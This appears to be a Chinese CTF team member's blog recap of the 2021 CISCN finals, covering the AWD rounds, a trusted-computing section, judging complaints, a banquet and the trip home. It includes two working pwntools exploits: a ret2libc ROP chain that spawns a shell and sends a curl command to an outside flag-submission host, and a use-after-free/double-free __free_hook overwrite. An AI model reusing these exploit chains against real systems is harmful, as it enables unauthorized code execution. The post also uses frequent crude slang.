mylist = [18,52,86,120,145,1,17,33,49,65,81,97,113,129,146,2]

rdi = 0x0000000000401873
gift= 0x4014F8
for i in mylist:
    r.send(str(i))
    sleep(0.1)
r.sendlineafter("plz input code:",'b-b')
r.sendlineafter(" me the len of text?","4294967297")
payload = "a"*0xf8+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt["puts"])+p64(gift)
r.sendlineafter("Leaving text:",payload)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
success(hex(libc_base))
payload =  "a"*0xf8+p64(rdi)+p64(libc_base+libc.search("/bin/sh").next())+p64(libc_base+libc.sym['system'])
r.sendlineafter(" me the len of text?","4294967297")
sleep(0.1)
r.sendlineafter("Leaving text:",payload)
r.sendline('echo fuck')
r.recvuntil('fuck')
cmd = "curl flagserver.top/index.php?token="
r.sendline(cmd)
r.sendline('ls')
flag = r.recvuntil('bin',True)[-32:]
log.info(flag)
r.close()

最后一个小时扬了这题,开始打全场,所有队伍都能打,一轮把所有队的 flag 都交了,隔壁 TimeKeeper 同一轮出了,手速不太行,👴上批量打全场,他们还在手动交

👴:👴把这题做了,他们抄👴流量咋办啊,完了全他妈完了

👴:哦,他们拿到流量比赛已经结束了,那没事了

这题让👴🚪上了一万多分,直接淦到第三名,这是👴🚪离前三最近的一次

7k 👴在 16:35:44 发表高论,说距离👴破防还有半个小时。

👴拿到手机直接开()

👴:鸥尅兄弟们,👴宣布个事

👴:👴没了

可信计算

coin 割割赛前问👴,他一个密码手打 awd 有啥用?👴说,宁开局可以辅佐🎩👴,有白给漏洞快速利用交一波 flag,其他时间宁可以把监控挂上,被☀了就吆喝一声:被☀了!被☀了!👴🚪马上就去看流量。

结果是延时流量

👴:宁可以记录被☀的精确时间

coin 割割:密码手的演草纸用上了

结果监控没用

👴:那宁去茶歇区拿零食吧

比赛前两天拿到细则发现多了个可信计算环节

👴:?

coin 割割:?

三万👴:?

🎩爷:?

👴:👴觉得对👴🚪有利

给了样例,研究了一波,好像不难,比赛前一天夜里的智慧,👴和 coin 割割又看了一波。

👴:送分题

赛题和给的样例挺像的,代码填空,可以照着样例缝合,coin 割割在刚刚结束的密码学考试中就遇到了代码填空,这可能就是缘分吧。

题目有个坑,如果两个人一起在靶机上操作,可能会把靶机打崩,sh player.sh,core dump 都出来了。两道题,👴🚪都是先把靶机打崩,重置之后才出的 flag。

👴🚪ak 了可信计算,👴宣布这是送分题,但是👴🚪没人负责专门去茶歇区拿零食了,不知是赚了还是亏了。听说有人 git 做题,👴傻了, 出题人开源意识有点强。

vscode 打开,git 亮了

赛题有一道 mid-attack,中间人攻击,赛后吃🍉,吴某凡这波是紧跟时事了。

day2

先快速扬一道白给 pwn

cissh

先随便试试有啥命令,ls、cat、touch、vi、rm、ln 都有

libc-2.31,变形菜单题,ln 一试就知道有 uaf,vi 把 key 扬了直接 double free 打 free_hook 改 system,咣咣咣全做出来了,F5 都不用摁,手慢了几秒只拿了二血,没能全场广播 StudentUnion,亏了。

from pwn import *

ip = ''
port = 10001
r = remote(ip,port)

#r = process('./cissh')
#context.log_level = 'debug'
libc = ELF('./libc64.so')
def cmd(choice):
    r.recvuntil('\x1B[31m$ \x1B[m')
    r.sendline(choice)

def touch(name):
    cmd('touch'+' '+name)

def rm(name):
    cmd('rm'+' '+name)

def ls():
    cmd('ls')

def cat(name):
    cmd('cat'+' '+name)

def vi(name,data):
    cmd('vi'+' '+name)
    r.sendline(data)

def ln(newfie,src):
    cmd('ln'+' '+newfie+' '+src)


touch('leak')
vi('leak','a'*0x1000)
ln('leak2','leak')
rm('leak')
cat('leak2')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak - 0x1ebbe0
log.success(hex(leak))
log.success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.success(hex(free_hook))

touch('pad1')
vi('pad1',p64(free_hook)*10)
touch('pad2')
vi('pad2',p64(free_hook)*10)

touch('fuck')
ln('nmsl','fuck')
vi('fuck',p64(free_hook)*10)
rm('pad1')

rm('pad2')

rm('fuck')
vi('nmsl',p64(free_hook)*10)
system = libc_base + libc.sym['system']
touch('a')
vi('a',p64(system)*10)
touch('b')
vi('b',p64(system)*10)
touch('/bin/sh\x00'*0x10)

r.interactive()

其他题一个没做,break 阶段结束之后第二名,fix 的分得等一会出,cnitlrt 和狠狠都来恭喜这个 b 了,👴端着盒饭站在带屏幕前等分,👴是站着吃饭而穿比赛服的唯一的人。

结果👴🚪fix 0 分,web check 全过 exp 全过,pwn exp 全不过,check 全不过,第二掉到第五,痛失前三,👴当场裂开

7

第六名是 TimeKeeper,又挨着了,👴🚪又成为了华东北之👴,还在酒店旁边找到了家

16

👴觉得 fix 这种赛制应该取消,exp 怎么写,👴能想到,check 怎么写,👴想不到。

程序可以 patch 几个字节,👴需要去猜 check 怎么写。

程序中哪里可以 patch,哪里不能 patch,👴需要去猜 check 怎么写。

🐏free 这种 patch 方法到底应不应该通过 check,👴需要去猜 check 怎么写。

把 malloc size 改大破坏 exp 堆块结构,check 能不能过,👴需要去猜 check 怎么写。

👴猜你🐎呢?

有的比赛👴把 free 全🐏了就能过 check,有的过不了,👴是不是应该维护一个可🐏free 主办方列表?

建议取消 fix 环节,或者把 fix 出成代码填空

华为之夜

👴🚪要接受一切必要或不必要的宴请、礼品、参观

晚宴抽奖,华为之夜,众所周知安卓是鸿蒙套壳。

此处应该有图,但是👴光顾着吃了,👴回忆一下有几个菜,可能记不全,有凉有热有主食

凉菜:红肠+猪肝、果盘、大拉皮、🐓(用姜汁拌的)、裹着奶粉的球(吃着像麻薯)、凉拌荆芥(甜的)、虾,还有一道离得远,没吃到。

热菜:不知道叫啥的炒肉、溜肉段、锅包又(真不戳)、大丰收、肘子、鲤鱼、不知道叫啥的素菜。

主食:炒饭、饺子

和👴🚪一起吃饭的哈工大老师说这饺子有讲究,叫上车饺子下车面

送行的时候给被送行的人吃饺子,接风时给被接的人吃面条。

还有高雅音乐

6

这次抽奖是人工从箱子里面摸,不再使用伪随机数,玩小游戏还要核对成绩,从比赛到抽奖都做到了严谨合规。

👴抽奖之前说:去年比赛三等奖,抽奖三等奖,今年👴🚪比赛一等奖,抽奖一等奖。👴抽了二等奖,三万👴喜提一等奖,👴坐实带预言家。🎩👴和 coin 割割老倒霉蛋,coin 割割达成成就:连续两年抽奖不中。三万👴,抽奖之神,BCTF 线下抽奖一等奖,这次又是一等奖,建议击毙。

🎩👴:只有三分之一的概率抽不到奖

《国二》

23

接收宴请后夜里必饿,来点烧烤,公费烧烤👴🚪配🐎?那肯定配

10

连打三年 CISCN 是什么样的体验

信号屏蔽器是👴爹

👴连着打了三年 CISCN,2019,一拖五进分区赛直接弃赛,2020,web 手决赛弃赛,又喜提 ylb,赛场如达拉然。今年👴说👴🚪拿个国二,够用了,保三争二。

拿了上学,不拿送水

中央顾问委员会主任 7k👴 曾在一次夜店中发表重要讲话:👴🚪接下来的一个重要工作就是拿个国二!

7k👴:拿了国二,你就去()

👴:彳亍

赛前🎩👴感觉比赛形势很不乐观

🎩👴:👴🚪可能是三等奖第一名

👴和 coin 割割看决赛名单,数了一下大概有二十多个队打不过。第一天中午,鸥剋兄弟们,国二有了。第一天下午,鸥剋兄弟们,国一稳了。第一天结束,鸥剋兄弟们,冲一波,保三争二了(指保第三名,争第二名)!虽然最后翻车,第五名,👴🚪还是想不明白:👴🚪咋这么牛逼?

👴又想起了 7k 👴的讲话

7k👴:拿了国二,你就去()

👴:您猜怎么着,👴国一

路上骑着自行车,突然就 () 起来了

👴:艹!如果👴不拿那个一血,👴🚪就不用想前三名的事了,真是大伏笔啊!

coin 割割:唉!太可惜了!如果👴不做那三道可信计算,👴🚪就不会有这么多烦恼了

2020CISCN,👴🚪第 64 名,TimeKeeper 第 63 名,👴和小🦌一副司马脸站在领奖台,今年录屏开屏蔽器,平台不是北京易霖博信息技术有限公司,👴🚪第 5 名,TimeKeeper 第 6 名,👴和小🦌又站在了一起。👴🚪代领指导老师奖,旁边站的就是 2020CISCN 决赛主办方老师,又见面了。

屏蔽器在👴🚪桌子旁边,第一天比赛结束👴和 ccx 说屏蔽器是👴爹,走之前👴🚪抱着爹合影,希望以后他能继续🐏法师。

24

此处省略合影一张。

🛫

在飞机上听到后面小孩说窗外的云像蓝鲸,拍了一张

12

现在是 2021 年 7 月,该写贵社纳新了。


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).